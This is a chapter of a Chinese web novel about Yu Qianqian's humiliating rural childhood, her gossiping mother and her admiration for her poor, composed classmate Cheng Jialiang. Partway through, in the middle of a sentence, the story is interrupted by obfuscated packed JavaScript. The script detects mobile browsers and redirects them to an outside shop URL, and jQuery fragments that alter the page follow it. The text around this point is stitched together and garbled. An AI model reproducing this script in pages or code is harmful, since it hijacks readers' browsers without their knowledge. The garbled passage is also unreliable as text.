庾倩倩知道张阿姨应该希望她过去的。
张阿姨以前就对她很好——两家离得近,刘芳偶尔有事,没人做饭的时候,张阿姨会邀请庾倩倩去她家里吃。
可她因为害怕见到程嘉良时内心的窘迫,所以不肯去。
那边迟迟没有回复。
庾倩倩等了一会儿,手指在咖啡冰杯上轻轻地敲了两下。
过了整整三分钟,程嘉良才回复。
很简单的一个字:好。
庾倩倩盯着这个字几秒,她双手捧着手机,快速打下一行字:帮我恭喜张阿姨五十大寿。
程嘉良回复:谢谢。
对话到这已经算是结束。
庾倩倩看了会儿,放下手机,又喝了一口咖啡。
她走到沙发上坐着,手机叮咚一声,来了微信。
庾倩倩拿起来。
这次不是程嘉良。
而是刘芳。
一条将近四十多秒的语音。
庾倩倩点开,刘芳的声音从听筒里传出来,背景里还夹杂着麻将碰撞的声响。
“我今天在村里碰到了村长呀,他也在那个小区买房,有两套呢。他说他儿子那个房子也不想要呢,正待算卖了。也没住几年,还是全新的,听到我们想买,他说可以便宜点卖给我们。你觉得怎么样啊?要不要找机会去看一看呀?”
庾倩倩听完,吐出一口气,直接把手机扔在沙发上。
可想而知,才隔了几天,刘芳肯定又把她要买房这件事传得到处都是,别人才会主动找她。
她说了多少次,不要到处说,不要逢人就讲。
可刘芳就是管不住那张嘴。
她的女儿要买房了,在市中心,全款——这话说出去多有面子啊,她怎么忍得住不炫耀?
庾倩倩直接横躺在沙发上,手背搭在额头上,遮住眼睛。
巨大落地窗外的天色渐渐暗下来,城市的灯火一盏一盏亮起来。
庾倩倩不喜欢拉窗帘。喜欢天光透进屋子,从亮到暗,一点一点地沉下去。
这可能是她在乡下养成的习惯——在村里的时候,她的房间窗户朝西,傍晚阳光从窗棂里照进来,把整个房间染成橙色。她坐在那道光里写作业,等天黑。
也许对很多人来说,村里的老家意味着田野、乡间、温暖的人情、平和的安静。
是夏日傍晚坐在院子里摇着蒲扇乘凉,是邻里之间端一碗菜串门的亲切。
但对于庾倩倩来说,不是这样的。
它充满着一个青春期少女难以言说的贫穷、羞辱和难堪。
村里太小了,一点风吹草动就引人注意。
谁家买了新房新车,谁家的孩子考了第一名,谁家的男人在外面有了女人——不出半天,整个村都知道了。
庾倩倩记得很清楚。有一次她在村口跟一个男生并排走过,两人只是碰巧同路,连话都没说几句。
第二天,刘芳就一边切菜一边打探:“村里人都说你跟一个男生走在一起,你是不是谈朋友了?”
庾倩倩极其厌烦!
只要她跟任何一个同龄男生稍微走近一点,都会有人说她谈恋爱了。说得有鼻子有眼,栩栩如生。
好像她们眼里男女除了谈恋爱就没有别的。
他们家本来就是别人的八卦中心。
她名义上的父亲庾长根是个混球。
跟刘芳结婚没几年,就跟别的女人姘居了。这个女人还是本村的,就住在村子另一头。
这件事,包括后来刘芳的事,都让庾倩倩产生了一个终生的困惑,直到现在都没有彻底明白——
她曾以为找小三起码是有钱人的专属,或者男的长得好看些才能找小三,为什么这些又穷又丑的男人,也能找到?
庾长根基本只在那个女人家里生活,甚至跟那个女人生了个儿子,很少回来。
每次到了要交学费的时候,刘芳就会去那个女人家门口闹。骂街,大哭,扯着嗓子喊庾长根的名字,跟他大打出手。
庾长根有时候出来推她一把,有时候躲在屋里不开门,有时候从窗户扔出几张皱巴巴的钞票。
全村能围大半圈在那里看热闹。
闹完了,钱未必能要到,但笑话是一定会有的。
庾倩倩走在村里,总感觉身后有窃窃私语,周围打量的目光若有似无,总是带着种隐隐的笑——并非决然的嘲笑,但也并非是彻底的善意。
她从小长得漂亮,又不是那种文文静静、容易害羞、一看就是好学生的性格。
村里的大人很喜欢拿她打趣:“倩倩长大了不得了,肯定迷死一大片”“可不要轻易被男孩骗去啊”。
他们村里方言是这样打趣男生找女朋友的——“赶紧骗一个女孩回来”。
虽然未必是真正意义上的“骗”,但这个词字里行间透出来的那种意味,让庾倩倩从小就反感。
庾倩倩曾以为庾长根不给钱给她,是因为她是女孩,他重男轻女。
可再到后来,她才慢慢明白村里面为何用那种目光打量她。
除了她家本来就抓马、三天两头闹,除了庾倩倩本人招眼——还有一个原因。
她不是庾长根的亲生女儿。
这件事全村人几乎都私下知道了,只有她自己不知道。
除了村里的闲言碎语,刘芳本身也是一个很大的问题。
世事很吊诡。
同样都是出轨,刘芳还是在庾长庚后面。
庾长庚在村里的地位没什么变化,甚至还因为有“两个老婆”被很多男人打趣夸赞,说他有本事。
而刘芳却败了名声,村里无论男人女人都没有那么看得上她。
可村里抬头不见低头见,刘芳本来就没那么硬气,没钱的时候就更硬气不起来,偶尔还要借钱,总得陪着笑脸。
她有一点讨好型的人格。每次村里办席,村里的女人都要去帮忙,也顺便赚点钱;
跟那些女人聚在一起的时候,她会故意说笑,声音很大,生怕别人注意不到她。
还会以侮辱打趣她自己的方式,让大家哄堂大笑,来让别人对她产生亲近感。
可她的生活实在乏善可陈——无非就是跟庾长根打打闹闹、要钱不给、去那个女人家门口哭。这些事说一次两次还行,说多了,别人也腻了。
最后她只能说庾倩倩。
说庾倩倩读书好,说庾倩倩学校好,说有男生给庾倩倩写情书。
庾倩倩初二那年。
她第一次来月经。
那天中午,她跟刘芳说了这事,刘芳从柜子里翻出几片卫生巾塞给她,语带欣慰说:“女儿长大了。”
傍晚回来的时候,村口站着一群人。有男有女,有老有少,像是刚散了牌局,站在那儿聊天。
庾倩倩背着书包走过去,一个中年女人笑眯眯地看着她。
“哎呀,倩倩成大姑娘了。”
身边几个叔叔伯伯阿姨也跟着笑。
“哎呦,可以嫁人了。”
“真是大女孩了。”
有几个村里的年轻男人站在后面,目光从她脸上滑到她身上,用一种她说不清的眼神看着她。
霎时间,庾倩倩像是内心有一罐被微波炉加热过头的罐头,“砰”地一下炸开了。
那种羞耻感从她的胸口直冲上脑门,整张脸烧得通红,耳朵嗡嗡作响。
她不敢看任何人,低着头,快步走了过去,书包在背上颠来颠去,她感觉自己在逃跑。
回到家里,刘芳正在厨房里忙活,兴高采烈地说:“今天专程给你烧只鸡吃!”
庾倩倩站在厨房门口,看着刘芳的背影。
她的手掐着书包带,都要把自己的手指掐出血痕。
她很想问——为什么?为什么要把她的私事到处说?
为什么要连这种事都要告诉别人,传得整个村都知道?
甚至明天有可能传到她的学校去,连班上的男生女生都会知道她来月经了。
刘芳转过身来,笑盈盈地看着她。
“红烧的,还是炖汤的?”
庾倩倩看了她很久很久。
她没有说话。
“随便。”她低声回答一句。
最后她一个人跑到了楼上自己的房间里,很久都没有下来。
从那以后,她再也没有跟刘芳说过任何关于自己隐私的事。
不聊学校,不聊朋友,不聊喜欢谁,不聊讨厌谁。
刘芳问,她就说“没什么”“就那样”“还好”。
以至于后来,她跟谢孟渊在一起这么多年,她连谢孟渊的名字都没有告诉过刘芳一次。
刘芳的衣品也不好。
她喜欢穿大红大紫,给庾倩倩买衣服,也喜欢买粉色、橙色、印着卡通图案的少女款。
好在庾倩倩长得好看,穿什么都不会太难看。
也是初二那年。
大早上狂风暴雨,庾倩倩要赶公交去上学。
前一天洗的外套还没干,衣柜里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590952|205423||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻来翻去,没有一件能穿出门的。
刘芳从柜子深处翻出一件自己年轻时穿的粉色旧西装,塞给她。
“穿这个,这个厚。”
那件西装是大粉色的,垫肩宽得像将军,袖口和领口还镶着一圈暗金色的花边。
刘芳穿都不伦不类,更何况一个十几岁的女生。
可那天太冷了,庾倩倩没有别的选择,又快迟到了,她套上那件西装,赶紧冲出家门。
她坐了很久的公交到学校,走进教室的那一刻,突然有人怪叫:“庾倩倩,你穿成什么呀!”
庾倩倩想,她可能一辈子都不会忘记班上同学全部齐刷刷看向她的画面。
全班都笑了。
不是恶意的,她知道。
是那种毫不掩饰的、惊讶的、觉得好笑的笑。
庾倩倩在目光中走到自己位置,一坐下,旁边的女同学就凑过来,眼睛里全是好奇:“庾倩倩,你怎么穿一个这么大的衣服来啊?是你妈妈的吗?”
庾倩倩点点头,没说话。她把那件西装脱下来,折好,塞进书桌里。
她不应该听刘芳的话。就算穿着短袖冒雨冲来学校,全身湿透了,也比现在好。
剧烈的羞耻感像刀背刮鱼鳞一样,一层一层地刮着她,一层又一层。
庾倩倩有时候也会自傲。
她漂亮,被男生众星捧月,被女生羡慕或嫉妒。她在人群里是显眼的,是会被第一眼看见的。
她希望自己更好、更完美,希望自己配得上那些目光。
可她无法克制住自己贫穷的底色。
那种像爬山虎一样,剪了一截又有一截,无止境的、随时发生的窘迫和羞耻。
就在这时,程嘉良从教室门外走了进来。
他的伞被风刮坏了,伞骨歪了两根,伞面翻过来,像个被打折了翅膀的黑鸟。
他站在门口,没有急着进来,而是低着头,仔细地掰那几根歪掉的伞骨。
班上同学又开始笑起来。
“哎,程嘉良,你的伞都坏了!”
“你怎么举了一把破伞来?”
程嘉良笑了笑,像是才反应过来这是把破伞似的:“是啊。”
他顿了顿,又说:“但是修一修应该还能用。”
庾倩倩抬头看他。
少年逆着光,站在门口,也是蓝白校服短袖,身上洒着斑驳的雨水点。
他长得极清秀,眉尾微微往下压,带着一种少年人身上少有的沉静。
睫毛很长,垂眼的时候会在眼下投一小片扇形的阴影,像薄薄的雾。
慢条斯理、毫无窘迫。
他只是站在门口,低着头,把那把黑伞的伞骨一根一根掰回来。
掰平整了,合拢,沥掉伞面上的水滴,他把伞靠在外面的墙角。
然后他转过身,背着书包走进来,从庾倩倩身边经过。
坐在庾倩倩身后右侧的位置。
旁边一个女生转过头说:“我多带了一把伞,待会借给你。”
“不用了。借给有需要的同学吧。那把伞还能用,我回家修修就好了。”程嘉良很脾气地说着,乃至传来他翻动书页的声音。
庾倩倩坐在前面,手指捏着课本的边角,捏得发白。
为什么?为什么?
有人能面对贫穷和羞耻如此的平静、如此的从容?
他家比她还要穷。
他的伞破了缝缝补补接着用,他的书包线开了自己缝,他的衣服洗得发白起球了还在穿。
可他从不在意,坦然处之。
他认认真真地读书,踏踏实实地帮他妈妈干活,照顾妹妹。
帮老师搬东西,帮同学讲题,有时候也帮人整理错题集——他收钱,大大方方地收。
他从没有掩藏过自己的贫穷。
贫穷就是他的一部分,他接受它,就像接受他的左手、他的眼睛、他的姓氏一样自然。
为什么会有这样的人呢?
为什么有人的心胸能这么开阔?
为什么面对别人的哄笑他能淡然处之?
为什么在这样艰苦的条件下,她还时常看见他在院子里深夜坐在台灯下温书?成绩名列前茅。
为什么,她就做不到呢。
为什么她的内心藏着高傲的自尊心、难以言喻的羞耻感、总是在意周遭视线的敏感,对周围环境的格格不入?
为什么这么多年,她只遇到过一个像他这样的——
程嘉良。